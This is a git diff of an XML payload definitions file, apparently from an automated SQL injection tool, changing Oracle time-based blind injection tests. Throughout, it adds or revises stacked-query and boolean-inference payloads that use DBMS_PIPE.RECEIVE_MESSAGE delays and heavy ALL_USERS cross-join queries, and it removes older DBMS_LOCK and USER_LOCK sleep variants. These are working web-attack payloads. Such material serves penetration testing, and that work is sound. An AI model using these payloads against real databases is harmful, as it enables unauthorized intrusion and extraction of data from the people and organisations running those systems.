diff --git a/xml/payloads.xml b/xml/payloads.xml
index 06668d767..154b6d291 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -1344,15 +1344,15 @@ Formats:
     </test>
 
     <test>
-        <title>Oracle stacked queries (BEGIN DBMS_LOCK.SLEEP)</title>
+        <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)</title>
         <stype>4</stype>
         <level>5</level>
         <risk>0</risk>
         <clause>0</clause>
         <where>1</where>
-        <vector></vector>
+        <vector>; SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL;</vector>
         <request>
-            <payload>; BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END;</payload>
+            <payload>; SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]', [SLEEPTIME]) FROM DUAL;</payload>
             <comment>--</comment>
         </request>
         <response>
@@ -1364,39 +1364,19 @@ Formats:
     </test>
 
     <test>
-        <title>Oracle stacked queries (EXEC DBMS_LOCK.SLEEP)</title>
+        <title>Oracle stacked queries (heavy query)</title>
         <stype>4</stype>
         <level>5</level>
         <risk>0</risk>
         <clause>0</clause>
         <where>1</where>
-        <vector></vector>
+        <vector>; SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL;</vector>
         <request>
-            <payload>; EXEC DBMS_LOCK.SLEEP([SLEEPTIME].00);</payload>
+            <payload>; SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5;</payload>
             <comment>--</comment>
         </request>
         <response>
-            <time>[SLEEPTIME]</time>
-        </response>
-        <details>
-            <dbms>Oracle</dbms>
-        </details>
-    </test>
-
-    <test>
-        <title>Oracle stacked queries (BEGIN USER_LOCK.SLEEP)</title>
-        <stype>4</stype>
-        <level>5</level>
-        <risk>0</risk>
-        <clause>0</clause>
-        <where>1</where>
-        <vector></vector>
-        <request>
-            <payload>; EXEC USER_LOCK.SLEEP([SLEEPTIME].00);</payload>
-            <comment>--</comment>
-        </request>
-        <response>
-            <time>[SLEEPTIME]</time>
+            <time>[DELAYED]</time>
         </response>
         <details>
             <dbms>Oracle</dbms>
@@ -1572,9 +1552,9 @@ Formats:
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>1</where>
-        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
+        <vector>AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
+            <payload>AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>
@@ -1751,9 +1731,9 @@ Formats:
         <risk>4</risk>
         <clause>1,2,3</clause>
         <where>2</where>
-        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) ELSE [RANDNUM] END)</vector>
+        <vector>OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5) ELSE [RANDNUM] END)</vector>
         <request>
-            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5)</payload>
+            <payload>OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1, ALL_USERS T2, ALL_USERS T3, ALL_USERS T4, ALL_USERS T5)</payload>
         </request>
         <response>
             <time>[DELAYED]</time>